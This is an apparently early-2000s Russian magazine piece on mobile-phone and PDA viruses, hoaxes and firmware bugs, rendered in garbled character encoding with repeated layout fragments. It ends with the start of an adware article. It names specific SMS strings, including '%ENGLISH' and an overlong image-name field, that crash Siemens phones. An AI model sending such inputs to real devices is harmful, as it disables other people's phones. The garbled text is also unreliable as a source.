ðàñøèðåíèé, ñòàíîâèëîñü âîçìîæ-
íûì ðàñïðîñòðàíÿòü ýòîò âèðóñ. Òåî-
ðåòè÷åñêè, ÷åðåç ñêðèïò ìîæíî ïðî-
èçâåñòè ActiveX-âûçîâ è òåì ñàìûì
ïîëíîñòüþ çàâëàäåòü ñèñòåìîé. ×òî-
áû èçáåæàòü ïîäîáíîãî çàðàæåíèÿ,
íåîáõîäèìî ëèáî èñïîëüçîâàòü
Winamp äëÿ ïðîèãðûâàíèÿ çâóêîçà-
ïèñåé (íàèëó÷øèé âàðèàíò), ëèáî
ïðîïàò÷èòü ïðîäóêò Microsoft.

Ýòî äàëåêî íå åäèíñòâåííûé äèêîâèí-
íûé ñïîñîá ïåðåäà÷è âèðóñîâ. Ïî÷è-
òàâ òåìàòè÷åñêèå ñòàòüè â èíåòå, òû
óäèâèøüñÿ ìíîãîîáðàçèþ ñïîñîáîâ
ðàñïðîñòðàíåíèÿ çàðàçû.

Ó ÌÅÍß ÇÀÇÂÎÍÈË ÒÅËÅÔÎÍ...
Ïîñëå òîãî, êàê êîìïüþòåðíûå

ìèñòèôèêàöèè îáðåëè íåêîòîðóþ ïî-
ïóëÿðíîñòü, çëîóìûøëåííèêè ñíîâà
ðåøèëè ïîøóòèòü íàä íåçàäà÷ëèâûìè
ëàìåðàìè â èíåòå, òîëüêî óæå íåñ-
êîëüêî ïî-äðóãîìó. Òåïåðü îíè íàöå-
ëèëèñü íà ñîòîâûå òåëåôîíû. Â 2000
ãîäó ïî Ñåòè õîäèëî ïèñüìî î òîì, ÷òî
òåëåôîíû ìàðêè Nokia è Motorola ñî-
äåðæàò îïàñíóþ óÿçâèìîñòü è ìîãóò

áûòü ëåãêî âûâåäåíû èç ñòðîÿ îïàñ-
íûì âèðóñîì. Ïðè ýòîì øóòíèêè ññû-
ëàëèñü íà èçâåñòíûå êîìïàíèè
Sophos è intY, ÷òîáû ïðèäàòü ïèñüìó
äîñòîâåðíîñòü. Â òåêñòå ïèñüìà íàõî-
äèëîñü ñëåäóþùåå ïðåäîñòåðåæåíèå:
åñëè âàì ïîñòóïèë çâîíîê è íà ýêðàíå
ïîÿâèëàñü íàäïèñü "íå ñóùåñòâóåò"
(èìåííî îíà îòîáðàæàåòñÿ, êîãäà íî-
ìåð íå îïðåäåëåí), ñëåäóåò íåìåäëåí-
íî îòêëîíèòü âûçîâ è âûêëþ÷èòü òå-
ëåôîí. Â ïðîòèâíîì ñëó÷àå, â ìîáèëó
âñåëèòñÿ ÿêîáû îïàñíûé âèðóñ è ñîò-
ðåò âñþ èíôîðìàöèþ ñ SIM-êàðòû è èç
ïàìÿòè òðóáû. Ïðè ýòîì ìîáèëüíèê
ïîòåðÿåò êîíòàêò ñ âíåøíèì ìèðîì, è
åãî ìîæíî áóäåò âûáðîñèòü ;). Íó è,
êîíå÷íî, â ïðèïèñêå ñêàçàíî î ïåðå-
ñûëêå ýòîãî ïèñüìà ñâîèì äðóçüÿì è
çíàêîìûì. Êàê òû ïîíÿë, ýòà îáû÷íàÿ
âèðóñíàÿ ìèñòèôèêàöèÿ, è ñîçäàíà
îíà äëÿ ðåàëèçàöèè äâóõ öåëåé:

1. Ìàññîâîå âûêëþ÷åíèå òåëåôîíîâ.
2. Ñïàì-ðàñïðîñòðàíåíèå. Èìåííî

ýòó çàäà÷ó ïûòàþòñÿ âûïîëíÿòü îáû÷-
íûå êîìïüþòåðíûå ìèñòèôèêàöèè.

Òåïåðü íàñòàëî âðåìÿ ïîäâåñòè íåêî-
òîðûé èòîã. Âèðóñíûå ìèñòèôèêàöèè
ðàñïðîñòðàíÿþòñÿ ÷àùå âñåãî ÷åðåç
ýëåêòðîííóþ ïî÷òó, ñîäåðæàò â ñåáå
îïèñàíèå íîâîãî îïàñíîãî âèðóñà íà
ñëîæíîì òåõíè÷åñêîì ÿçûêå, íàãëûå
çàÿâëåíèÿ î ïîäòâåðæäåíèè ñîîáùå-
íèÿ èçâåñòíûìè êîìïàíèÿìè, à òàêæå
ïðèïèñêó î íåìåäëåííîì ïåðåíàïðàâ-
ëåíèè ïèñüìà ïî âñåé àäðåñíîé êíèãå.
Ñóùåñòâîâàëè ñëó÷àè è êîìáèíèðî-
âàííîé ðàññûëêè - ê ïèñüìó ïðèëàãàë-
ñÿ àòòà÷ (ðóêîâîäñòâî ïî èçëå÷åíèþ
îò çàðàçû), êîòîðûé áûë çàðàæåí
îïàñíûì âèðóñîì. Åñòåñòâåííî, çàïóñ-
êàòü òàêèå ôàéëû íå ñòîèò.

ÎÒ ÌÈÔÀ Ê ÐÅÀËÜÍÎÑÒÈ
"Íåóæåëè âèðìåéêåðû îãðàíè÷è-

âàþòñÿ îäíèìè ìèñòèôèêàöèÿìè?" -
ñïðîñèøü òû. Âîâñå íåò, äëÿ ìîáèëü-
íèêîâ ñóùåñòâóþò è ðåàëüíûå âåùè.
Õîòÿ òóò ñëåäóåò îãîâîðèòüñÿ, äëÿ ìî-
áèëüíûõ òåëåôîíîâ âèðóñîâ åùå íå
áûëî. Íî àíòèâèðóñíèêè óæå ôèêñè-

ðóþò ïåðâûå âðåäîíîñíûå ïðîãðàì-
ìû, óãðîæàþùèå çäîðîâüþ òâîåãî ìî-
áèëüíîãî äðóãà. Îäèí èç íèõ íàçûâàë-
ñÿ SMS-Flooder è áûë íàïèñàí íåêèì
HSE. Âèðóñ ñîåäèíÿëñÿ ñ SMS-ãåéòàìè
Ãåðìàíèè è ñëàë ÷åðåç íèõ íåñêîëüêî
òåêñòîâûõ ñîîáùåíèé íà ñëó÷àéíûé
íîìåð. Ïðîãðàììà íàïèñàíà íà Visual
Basic 5.0 è ïðåäñòàâëÿåò ñîáîé íå-
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Òåñòîâûé ôàéë, êîòîðûé ïîñòàâëÿåòñÿ ñ àíòèâèðóñîì

Windows Media Player - î÷åðåäíîé
óÿçâèìûé ïðîäóêò  Microsoft Ïèñüìî, ñîîáùàþùåå îá îïàñíîì âèðóñå

Âèðóñíûå ìèñòèôèêàöèè
ðàñïðîñòðàíÿþòñÿ ÷àùå âñåãî ÷åðåç

ýëåêòðîííóþ ïî÷òó.

Íîâåéøóþ èíôîðìàöèþ î âèðóñàõ òû ñìîæåøü íàéòè íà
ðàçëè÷íûõ ñàéòàõ àíòèâèðóñíûõ ëàáîðàòîðèé. Èõ ñïèñîê ïî-
äîáðàí íà îòëè÷íîì ïðîåêòå
http://viruslist.com/compinfo.html.

W W W

Ïàðó ëåò
íàçàä ïî
Ñåòè ãóëÿë
áîëåå ïðîä-
âèíóòûé
ïñåâäîâè-
ðóñ. Îí ãî-
âîðèë ïîëó-
÷àòåëþ, ÷òî
â åãî ñèñòå-
ìå îáíàðó-
æåíà çàðàçà
è åå ñòîèò
óäàëèòü. Íî
ïðåæäå ÷åì
ýòî ñäåëàòü,
ñëåäóåò ïå-
ðåñëàòü ìû-
ëî ìàêñè-
ìàëüíîìó
êîëè÷åñòâó
ëþäåé. Êàê
òû, íàâåð-
íîå, äîãà-
äàëñÿ, â
ïèñüìå ïðî-
ñÿò ñòåðåòü
âàæíóþ
âèíäîâóþ
áèáëèîòåêó,
ïîñëå ÷åãî
ðàáîòà â
ñèñòåìå áó-
äåò íåâîç-
ìîæíà.



Òèìîôîíèêà
èìååò
ñõîæèå
÷åðòû ñ
âèðóñîì I
Love You.
Îí òàêæå
ðàñïðîñòðàí
ÿåòñÿ ÷åðåç
âëîæåíèÿ â
ýëåêòðîííîé
ïî÷òå è
èìååò âèä
VB-ñêðèïòà.
Ðåàëüíóþ
îïàñíîñòü
ýòîò âèðóñ
ïðåäñòàâëÿå
ò òîëüêî
äëÿ
æèòåëåé
Èñïàíèè,
ïîòîìó êàê
ôëóä
ïðîèñõîäèò
òîëüêî ñ
ìåñòíîãî
ãåéòà.

Àíòèâèðóñ-
íèêè óæå
ôèêñèðóþò
ïåðâûå âðå-
äîíîñíûå
ïðîãðàììû,
óãðîæàþ-
ùèå çäî-
ðîâüþ òâîå-
ãî ìîáèëü-
íîãî äðóãà.
Îäèí èç íèõ
íàçûâàëñÿ
SMS-
Flooder è
áûë íàïè-
ñàí íåêèì
HSE. Âèðóñ
ñîåäèíÿëñÿ
ñ SMS-ãåé-
òàìè Ãåðìà-
íèè è ñëàë
÷åðåç íèõ
íåñêîëüêî
òåêñòîâûõ
ñîîáùåíèé
íà ñëó÷àé-
íûé íîìåð.
Ïðîãðàììà
íàïèñàíà íà
Visual Basic
5.0 è
ïðåäñòàâëÿ-
åò ñîáîé íå-
áîëüøîé
ñêðèïò.

áîëüøîé ñêðèïò. Äëÿ ïåðåäà÷è SMS
Flooder èñïîëüçóåò øëþçû
www.mobildig.de, www.lycos.de è äðó-
ãèå. Íåñìîòðÿ íà òî, ÷òî ïðîãà íå ìî-
æåò ðàçìíîæàòüñÿ, à òàêæå íå âûïîë-
íÿåò äåñòðóêòèâíûõ äåéñòâèé, àíòèâè-
ðóñû âíåñëè åå â ñâîè áàçû. Ðàçðà-
áîò÷èêè óòâåðæäàþò - äàííûé âèðóñ
ìîæåò áûòü íà÷àëîì íàïèñàíèÿ îïàñ-
íîãî òðîÿíöà, è ïîýòîìó ñëåäóåò áûòü
ãîòîâûì êî âñåìó.

Ïðèìåðíî â ýòî æå âðåìÿ áûë íà-
ïèñàí âèðóñ "Òèìîôîíèêà". Îí âû-
ïîëíÿë òå æå äåéñòâèÿ, ÷òî è SMS-
Flooder, òîëüêî óæå â Èñïàíèè.
Âèðü êîííåêòèëñÿ ê èçâåñòíîìó
ãåéòó êîìïàíèè MoviStar è ïåðåñû-
ëàë íà ñëó÷àéíûé íîìåð ñîîáùå-
íèå ñ òåêñòîì "Òåëåôîíèêà âàñ íà-
äóâàåò!". Äåëî â òîì, ÷òî Òåëåôî-
íèêà - êðóïíåéøàÿ êîììóíèêàöèîí-
íàÿ ôèðìà, à ïðåôèêñ "Òèìî" îçíà-
÷àåò îáìàí, íàäóâàòåëüñòâî. Âèäè-
ìî êòî-òî ðåøèë ñûãðàòü ñ ýòîé
ôèðìîé çëóþ øóòêó.

Òèìîôîíèêà èìååò ñõîæèå ÷åðòû ñ
âèðóñîì I Love You. Îí òàêæå ðàñïðî-
ñòðàíÿåòñÿ ÷åðåç âëîæåíèÿ â ýëåêò-
ðîííîé ïî÷òå è èìååò âèä VB-ñêðèïòà.
Ðåàëüíóþ îïàñíîñòü ýòîò âèðóñ
ïðåäñòàâëÿåò òîëüêî äëÿ æèòåëåé Èñ-
ïàíèè, ïîòîìó êàê ôëóä ïðîèñõîäèò
òîëüêî ñ ìåñòíîãî ãåéòà. Âïîñëåä-
ñòâèè øëþçû áûëè ñíàáæåíû íåêîòî-
ðîé çàùèòîé, êîòîðàÿ áûëà íàïðàâëå-
íà íà ôèëüòðàöèþ âðåäîíîñíûõ SMS.

Ñàì âèðü çàðàæàåò êîìïüþòåðû, íî
íèêàê íå ñîòîâûå òåëåôîíû. Êàê ÿ
óæå ãîâîðèë, äëÿ ìîáèëüíèêîâ çàðà-
çû ïîêà íå îáíàðóæåíî, íî êàê óòâå-
ðæäàþò çíàþùèå ëþäè, âñå äâèæåòñÿ
ê òîìó, ÷òî âèðóñû ïîÿâÿòñÿ. Ñ ðàçâè-

òèåì èíòåðíåò-òåõíîëîãèé, òàêèõ, êàê
WAP, GPRS è äð., ïîäõâàòèòü âèðóñ
ìîæíî êîãäà è ãäå óãîäíî.

ÓßÇÂÈÌÀß ÏÐÎØÈÂÊÀ
Ìåòîäû àêòèâàöèè âèðóñîâ òàêæå

ìîãóò áûòü ðàçëè÷íûìè. Îäèí èç íèõ -
áðåøè â ïðîøèâêàõ. Îíè ðåãèñòðèðó-
þòñÿ â Bugtraq è äîñòóïíû êàæäîìó.
Ýòèì â îñíîâíîì ñòðàäàþò òåëåôîíû
Nokia è Siemens. Ðàäóåò ëèøü òî, ÷òî
ïðîøèâêè ïîñòîÿííî îáíîâëÿþòñÿ è
âûêëàäûâàþòñÿ äëÿ ñêà÷èâàíèÿ. Õîòÿ
ïðîñòîìó þçåðó èíîãäà ñëîæíî îáíî-
âèòü ñîôò íà ñâîåì ìîáèëüíèêå, ïîý-
òîìó ïðîøèâêà â åãî àïïàðàòå ÿâëÿåò-
ñÿ óÿçâèìîé.

Ìíîãî÷èñëåííûå áàãè, ñâÿçàííûå ñ
ïåðåïîëíåíèåì áóôåðà, áûëè íàéäå-
íû â ìîáèëàõ Siemens. Ëþáàÿ SMS,
ïðèøåäøàÿ íà òðóáó, ìîæåò óáèòü òå-
ëåôîí (ñïàñòè àïïàðàò ñïîñîáíà
ëèøü ïåðåçàãðóçêà). Ê ïðèìåðó, åñëè
SMS-ñîîáùåíèå ñîäåðæèò ñòðîêó
"%ENGLISH" (ñ êàâû÷êàìè) ëèáî íàç-

âàíèå äðóãîãî ïîääåðæèâàåìîãî ÿçû-
êà, òåëåôîí áëàãîïîëó÷íî óõîäèò â
äàóí ïðè ïîïûòêå ÷òåíèÿ SMS. Èçáà-
âèòüñÿ îò òàêîé íàïàñòè ìîæíî ïóòåì
àïäåéòà ïðîøèâêè, ëèáî âûáîðîì
äðóãîãî àïïàðàòà ;). Ñóùåñòâîâàë åùå
îäèí ñïîñîá äëÿ "ïðîäâèíóòûõ". Åñëè
âûêèíóòü âñå íåèñïîëüçóåìûå ÿçûêè
èç ñîôòà ìîáèëû, áàãà ïðè ïîëó÷åíèè
SMS ïðîÿâëÿòüñÿ íå áóäåò. Âîîáùå,
ñóòü óÿçâèìîñòè ñîñòîèò â îøèáêå
âñòðîåííîãî ãåíåðàòîðà, èç-çà íåå
ñîôò ïîëíîñòüþ ïîäâèñàåò.

Íå òàê äàâíî íà www.void.ru ïîÿâè-
ëîñü ñîîáùåíèå î áîëåå ñåðüåçíîé
óÿçâèìîñòè â àïïàðàòàõ Siemens. Íà
ýòîò ðàç áóôåð ïåðåïîëíÿëñÿ ïîñëå
ïðèåìà èçîáðàæåíèÿ. Äåëî â òîì,
÷òî ïðè îòïðàâêå ãðàôèêè èñïîëüçó-
åòñÿ ñëåäóþùàÿ êîíñòðóêöèÿ:
\"%IMG_NAME\". Ïðè÷åì, åñëè çàìå-
íèòü IMG_NAME íà ëþáóþ ïîñëåäî-
âàòåëüíîñòü ñèìâîëîâ äëèíîé 175
áàéò, òåëåôîí çàãèáàåòñÿ. Åìó íå ïî-
ìîæåò äàæå ïåðåçàãðóçêà, ïîñëå ðåñ-
òàðòà àïïàðàò ïðîäîëæàåò ãëþ÷èòü
ïðè îïåðàöèÿõ ñ ïàïêîé âõîäÿùèõ
ñîîáùåíèé. Âìåñòå ñî ñòàòüåé ïðå-
äîñòàâëÿåòñÿ ïðîñòåíüêèé ýêñïëîèò,
ñ ïîìîùüþ êîòîðîãî ìîæíî ðåàëèçî-
âàòü óÿçâèìîñòü.
Íå ïûòàéñÿ òåñòèðîâàòü ïîäîáíûå
áðåøè ñî ñâîåãî òåëåôîíà Siemens -
ïîñòðàäàåøü ñàì ;). Â ñëó÷àå, åñëè
ãåéòû íå îãðàíè÷èâàþò äëèíó ñîîá-
ùåíèÿ 160 ñèìâîëàìè, ìîæåøü îòîñ-
ëàòü SMS ÷åðåç íèõ. Õîòÿ íå ôàêò, ÷òî
øëþçû íå ôèëüòðóþò ïîäîáíûå âðå-
äîíîñíûå ìåññàãè. Óÿçâèìûìè ñ÷èòà-
þòñÿ àïïàðàòû 35, 45 è 50 ñåðèè. Îñ-
òàëüíûå âåðñèè íå ðàçãëàøàþòñÿ.

Íåäàâíèé áàã â ïðîøèâêå Nokia òàêæå
âûçâàë ïàíèêó ñðåäè âëàäåëüöåâ ìî-
áèëüíûõ òåëåôîíîâ. Íà ýòîò ðàç óÿç-
âèìîñòü ñâÿçàíà ñ ôóíêöèÿìè îáðà-
áîòêè Vcards (âèçèòíûå êàðòî÷êè, ïå-
ðåäàþùèåñÿ â âèäå SMS èëè ÷åðåç
èíôðàêðàñíûé ïîðò). Åñëè ïåðåäàòü
ïîäîáíóþ SMS, ïðåâîñõîäÿùóþ ïî
äëèíå äîïóñòèìîå çíà÷åíèå, àïïàðàò
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Âèðóñ "Òèìîôîíèêà"

Siemens ïîä óãðîçîé Áðåøü â ïðîøèâêå Nokia

Íå ïûòàéñÿ òåñòèðîâàòü ïîäîáíûå áðåøè
ñî ñâîåãî òåëåôîíà Siemens -

ïîñòðàäàåøü ñàì ;).

Ìíîãî÷èñëåííûå áàãè, ñâÿçàííûå 
ñ ïåðåïîëíåíèåì áóôåðà, áûëè íàéäåíû 

â ìîáèëàõ Siemens.



Íåäàâíèé
áàã â ïðî-
øèâêå Nokia
òàêæå âûç-
âàë ïàíèêó
ñðåäè âëà-
äåëüöåâ ìî-
áèëüíûõ òå-
ëåôîíîâ. Íà
ýòîò ðàç
óÿçâèìîñòü
ñâÿçàíà ñ
ôóíêöèÿìè
îáðàáîòêè
Vcards (âè-
çèòíûå êàð-
òî÷êè, ïå-
ðåäàþùèåñÿ
â âèäå SMS
èëè ÷åðåç
èíôðàêðàñ-
íûé ïîðò).

çàâèñàåò. Ñòàíäàðò Vcards ïîääåðæè-
âàåòñÿ ñîôòâàðíûì ÏÎ Microsoft
Lotus. Óÿçâèìîñòè ïîäâåðæåíû òåëå-
ôîíû 6210. Áàã íàéäåí èçâåñòíîé
àìåðèêàíñêîé êîìïàíèåé @stake.

Êàê òû ïîíèìàåøü, âñå ýòè áðåøè
âäîõíîâëÿþò âèðóñîïèñàòåëåé. Êîãäà-
íèáóäü è â Ðîññèè áóäóò ïåðåäàâàòü-
ñÿ ñìåðòåëüíûå SMS. ×åðåç Ñåòü, ëè-
áî ñïåöèàëüíûå ãåéòû.

ÊÀÐÌÀÍÍÈÊÈ ÏÎÄ ÏÐÈÖÅËÎÌ
Åñëè â ñîòîâûõ òåëåôîíàõ çàðàçà

ïîêà íå îáæèëàñü, òî êàðìàííûå
êîìïüþòåðû óæå ïî÷óâñòâîâàëè íà
ñåáå ïðîÿâëåíèÿ âèðóñîâ. Íîâîå ñå-
ìåéñòâî PALM çàðàæàåò ÊÏÊ è âû-
ïîëíÿåò íåõîðîøèå äåéñòâèÿ íà ìè-
íèêîìïüþòåðå.

Ïîêà âèðóñîâ òðè. Âñå îíè çàíåñåíû â
áàçó è äåòåêòÿòñÿ àíòèâèðóñîì. Êî-
ðîòêî ðàññêàæó î êàæäîì èç íèõ.

1. PALM.Phage. Ñàìûé ïåðâûé è
î÷åíü îïàñíûé âèðóñ äëÿ ÊÏÊ. Ïîïà-
äàÿ íà êîìïüþòåð, çàðàçà èñïîëüçóåò
ñëóæåáíûå ôóíêöèè è áèáëèîòåêè.
Çàòåì ïðîèñõîäèò ïîèñê âñåõ Pilot
(.RPC) ôàéëîâ â ñèñòåìå è ïîñëåäîâà-
òåëüíîå èõ çàðàæåíèå. Ïîñëå ïîëó÷å-
íèÿ äîñòóïà ê ôàéëó çàðàçà ñ÷èòûâà-

åò èç íåãî ðåñóðñû CODE è DATA è çà-
ìåíÿåò èõ ñâîèìè. Ïðè ýòîì âñå ñèñ-
òåìíûå ïðèëîæåíèÿ ñòàíîâÿòñÿ íåðà-
áîòîñïîñîáíûìè.
2. PALM.Phage.963. Ìîäèôèêàöèÿ

ðàíåå èçëîæåííîãî âèðÿ. Òåïåðü
ïðè çàïóñêå çàðàæåííîãî ôàéëà, ýê-
ðàí êîìïüþòåðà ïðèíèìàåò ñåðûé
îòòåíîê, è ïðîèñõîäèò ïåðåçàãðóçêà
ÊÏÊ. Ïðè çàïèñè ïðèëîæåíèÿ ÷åðåç
ÈÊ-ïîðò, îíî áóäåò âïîëíå ðàáîòîñ-
ïîñîáíî, íî â ñëó÷àå ïîâòîðíîãî çà-
ïóñêà ïîÿâëÿåòñÿ âûøåîïèñàííàÿ
êàðòèíà.
3. PALM.Vapor. Òðîÿíñêàÿ ïðîãðàì-
ìà, ïðåäíàçíà÷åííàÿ ñïåöèàëüíî
äëÿ PalmOS. Ïðè ïåðâîì çàïóñêå âè-
ðóñ ïðÿ÷åò èêîíêè âñåõ ïðèëîæåíèé,
êàê áóäòî ôàéëîâ íå ñóùåñòâóåò. Íà
ñàìîì æå äåëå îíè åñòü è ïîÿâëÿþò-
ñÿ ïîñëå ðåñòàðòà.

Âñòðå÷àëèñü òàêæå ìèñòèôèêàöèè, â
êîòîðûõ ãîâîðèëîñü î íîâîì îïàñíîì
âèðóñå, çàðàæàþùåì PalmOS. Òðàäè-
öèîííî, â ïèñüìå ïðîñÿò ïåðåñëàòü
ïîëó÷åííîå ñîîáùåíèå âñåì çíàêî-
ìûì.

ÀÍÒÈÂÈÐÓÑÛ ÍÅ ÄÐÅÌËÞÒ
Íåñìîòðÿ íà òî, ÷òî âèðóñû äëÿ

ÊÏÊ òîëüêî íà÷àëè ïîÿâëÿòüñÿ, â àí-
òèâèðóñíûõ ëàáîðàòîðèÿõ çàäóìàëèñü
î íîâîì ïðîãðàììíîì îáåñïå÷åíèè,
êîòîðîå ëîâèò ïîäîáíóþ çàðàçó.

Àíòèâèðóñ Êàñïåðñêîãî äëÿ PalmOS
áóäåò îòëè÷àòüñÿ îò òðàäèöèîííûõ
ïðîäóêòîâ. Ïðîãðàììíîå îáåñïå÷åíèå
ïåðåõâàòûâàåò âñå ïîòîêè äàííûõ,
ïðè ïîìîùè êîòîðûõ âèðóñû ïðîíèêà-
þò íà êîìïüþòåð ïîëüçîâàòåëÿ. Êðî-
ìå òîãî, â àíòèâèðóñíîé ïðîãðàììå ñó-
ùåñòâóåò êîìïëåêñíûé ïîäõîä ê ïðî-
öåññó ïðîâåðêè ÊÏÊ íà ïðåäìåò çàðà-
çû. Îí âêëþ÷àåò â ñåáÿ ñëåäóþùåå:

1. Ñêàíåð äëÿ ïðîâåðêè ìåñò õðàíåíèÿ
ïîëüçîâàòåëüñêèõ ôàéëîâ. Ìîæåò çà-
ïóñêàòüñÿ â îïðåäåëåííîå âðåìÿ ïî
æåëàíèþ þçåðà.
2. Ìîíèòîð-ïåðåõâàò÷èê, êîòîðûé ðà-
áîòàåò ïî òåõíîëîãèè HotSync.
3. Åùå îäèí ìîíèòîð, ðàáîòàþùèé ïî
ñòàíäàðòó Beam.

Êðîìå òîãî, âìåñòå ñ ïðîãðàììîé
ïîñòàâëÿåòñÿ ïîäðîáíàÿ âèðóñíàÿ
ýíöèêëîïåäèÿ, ÷òîáû þçåð çíàë, ñ
÷åì èìååò äåëî. Òàêæå èìååòñÿ ñèñ-
òåìà ìåíþ è íàñòðîéêà îïöèé, ïîä-
äåðæèâàåòñÿ öâåòíîé ïîëüçîâà-
òåëüñêèé èíòåðôåéñ.

Â ñëó÷àå, êîãäà ïðîãðàììà îáíàðóæè-
âàåò âèðóñ, ïîëüçîâàòåëþ âûäàåòñÿ
ñîîòâåòñòâóþùåå ñîîáùåíèå è íåñ-
êîëüêî âàðèàíòîâ (óäàëèòü, âûëå÷èòü,
ïðîïóñòèòü). Ïðè âîçíèêíîâåíèè
ñïîðíûõ ñèòóàöèé, ðåøåíèå ïðèíèìà-
åò îïÿòü æå þçåð, à íå àíòèâèðóñ ;).

Ïðîãðàììíîå îáåñïå÷åíèå Êàñïåðñêî-
ãî äëÿ PalmOS ñîâìåñòèìî ñ âåðñèÿìè
îïåðàöèîíîê 2.*, 3.* è 4.* (èñïîëüçó-
åòñÿ â êîìïüþòåðàõ Palm Pilot,
Handspring, Visor, Sony CLIE, TRG Pro,
Symbol, à òàêæå â ñìàðòôîíàõ Kyoera
è Samsung). Âíóòðåííÿÿ àðõèòåêòóðà
ïðîãðàììû ðàçäåëÿåòñÿ íà äâå ÷àñòè:
àíòèâèðóñíîå ÿäðî è áàçà äàííûõ. Ñ
ïðèìåíåíèåì áàçû, ïîëüçîâàòåëü ìî-
æåò ëåãêî îáíîâëÿòü åå ÷åðåç èíòåð-
íåò è íå áåñïîêîèòüñÿ î âåðñèè ÿäðà.
×òî ïðèìå÷àòåëüíî, ñîôò òðåáóåò âñå-
ãî ëèøü 256 Êá ïàìÿòè.

È ÝÒÎ ÒÎËÜÊÎ ÍÀ÷ÀËÎ...
Êàê âèäèøü, àíòèâèðóñíûå ëàáî-

ðàòîðèè àêòèâíî ãîòîâÿòñÿ ê âîçìîæ-
íîìó âûõîäó îïàñíûõ âèðóñîâ äëÿ
ÊÏÊ. Ýòî ðåàëüíîñòü, ïîòîìó êàê íà-
÷àëî áûëî ïîëîæåíî, à ïðîäîëæèòü
íà÷àòîå íå òàê ñëîæíî. ×òî êàñàåòñÿ
ñîòîâûõ òåëåôîíîâ, ñîâñåì ñêîðî çà-
ðàçà áóäåò ïðîæèâàòü â ñàìîì àïïà-
ðàòå. Òóò âîçìîæíî ñàìîðàçìíîæå-
íèå, íàïðèìåð, ÷åðåç îòîñëàííûå áåç
âåäîìà ïîëüçîâàòåëÿ SMS. Ìàëî òîãî,
÷òî õîçÿèí òðóáû ïîïàäàåò íà áîëü-
øèå áàáêè, êîòîðûå ïîòðàòèò íà ïî-
äîáíûå ñîîáùåíèÿ, òàê åùå è áóäåò
ÿâëÿòüñÿ ðàñïðîñòðàíèòåëåì çàðàçû.
Âïðî÷åì, ýòî òîëüêî ïðåäïîëîæåíèÿ,
è íå ôàêò, ÷òî ïðåäñêàçàííîå ñáóäåò-
ñÿ. Íî â íàøå âðåìÿ íóæíî áûòü ãîòî-
âûì êî âñåìó...                              A
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Àíòèâèðóñíûå ëàáîðàòîðèè àêòèâíî
ãîòîâÿòñÿ ê âîçìîæíîìó âûõîäó îïàñíûõ

âèðóñîâ äëÿ ÊÏÊ.

Åñëè SMS-
ñîîáùåíèå
ñîäåðæèò
ñòðîêó
"%ENG-
LISH" (ñ
êàâû÷êàìè)
ëèáî íàçâà-
íèå äðóãîãî
ïîääåðæè-
âàåìîãî
ÿçûêà, òå-
ëåôîí áëà-
ãîïîëó÷íî
óõîäèò â
äàóí ïðè
ïîïûòêå
÷òåíèÿ
SMS.
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÷òîáû íå ñòàòü æåðòâîé ñëó÷àéíîé çàðàçû, ñëåäóåò ðåãóëÿðíî
îáíîâëÿòü ïðîøèâêó ñâîåãî ìîáèëüíîãî òåëåôîíà. Îíè, êàê ïðàâè-
ëî, âûêëàäûâàþòñÿ íà ñàéòû ïðîèçâîäèòåëåé àïïàðàòà. Íàïðèìåð,
íà www.my-siemens.com òû âñåãäà íàéäåøü ñâåæèå âåðñèè ñîôòà
äëÿ ñâîåãî ìîáèëüíîãî äðóãà.

Ê ÑÂÅÄÅÍÈÞ: 

Âèðóñû äëÿ ÊÏÊ - ðåàëüíîñòü!

Çàùèòèì êàðìàííûå êîìïüþòåðû



Andrey (morbah@list.ru), ICQ 175352146

× òî æå òàêîå Adware è Spyware? Êàêàÿ òàéíà ñêðûâàåòñÿ çà ýòèìè ñëîâàìè, òàê ñèëüíî ñìàõèâàþùèìè íà äî áîëè
çíàêîìûå - Freeware è Shareware? Ýòè è äðóãèå òàéíû íàì è ïðåäñòîèò âûÿñíèòü...

ÑÌÅÐÒÜ 
ØÏÈÎÍÀÌ
ADWARE/SPYWARE - ×ÒÎ ÝÒÎ ÒÀÊÎÅ È ÊÎÌÓ È ÇÀ×ÅÌ ÍÓÆÍÎ?

àïîìíþ, ÷òî Freeware -
áåñïëàòíûé ïðîãðàì-
ìíûé ïðîäóêò, à
Shareware - óñëîâíî-
áåñïëàòíûé, è òàê êàê â

Ðîññèè íå ïðèíÿòî ïëàòèòü çà ïðîãðàì-
ìíîå îáåñïå÷åíèå, ýòè âèäû ðàñïðîñò-
ðàíåíèÿ ïðîãðàìì ñàìûå ìàññîâûå.
Âîçíèêàåò åñòåñòâåííûé âîïðîñ: êàêîé
ïðîê ïðîãðàììèñòó äåëèòüñÿ ðåçóëüòà-
òàìè ñâîåãî òðóäà ñ íàìè - ïóòåøåñò-
âåííèêàìè ïî Ñåòè? Ìîæåò áûòü, èç-çà
òîãî, ÷òî îíè òàêèå äîáðûå èëè ðàäè
ñëàâû? Äà!!! Âñòðå÷àþòñÿ è òàêèå áåñ-
êîðûñòíûå ëþäè - íî ìíîãî ëè èõ? Âîò
êàê ðàç äëÿ íèõ è ðàçðàáîòàí ïðèíöèï
Adware.
Adware (AD - îáùåïðèíÿòàÿ àíãë. àá-
áðåâèàòóðà äëÿ Advertising - ðåêëàìà) -
ýòî âèä èíòåðíåò-ìàðêåòèíãà, çàêëþ÷à-
þùèéñÿ âî âñòðàèâàíèè áàííåðîâ â
freeware è shareware ïðîãðàììû. Ïðîã-
ðàììà, â ñâîþ î÷åðåäü, ðàñïðîñòðàíÿ-
åòñÿ áåñïëàòíî, à òðóä ïðîãðàììèñòà
îïëà÷èâàåò ðåêëàìîäàòåëü. Òî åñòü
þçåð çà ïðàâî ïîëüçîâàíèÿ ïðîãðàì-
ìîé ïðîñìàòðèâàåò ðåêëàìó.
Âûèãðûâàþò âñå. Ïîëüçîâàòåëü èìååò
áåñïëàòíóþ ïðîãðàììó. Àâòîð ÏÎ ïîëó-
÷àåò âûñîêóþ ïðèáûëü. Ðåêëàìîäàòåëü
ïîëó÷àåò âîçìîæíîñòü ïðîâîäèòü ýô-
ôåêòèâíûå ðåêëàìíûå êàìïàíèè.
Êàçàëîñü áû - âñå çäîðîâî! Òû ñìîò-
ðèøü ðåêëàìó è çà ýòî áåñïëàòíî ïîëü-
çóåøüñÿ ïðîãðàììîé, î íàïèñàíèè êîòî-
ðîé ìîã òîëüêî ìå÷òàòü. Âðåìÿ èäåò, è
âñêîðå òû íà÷èíàåøü çàäàâàòüñÿ âîï-
ðîñîì: "Ïî÷åìó ÿ äîëæåí ðàçãëÿäûâàòü
ýòè ñîâåðøåííî íå íóæíûå ìíå áàííå-
ðû, äà åùå òðàòèòü íà íèõ ñâîé òðà-
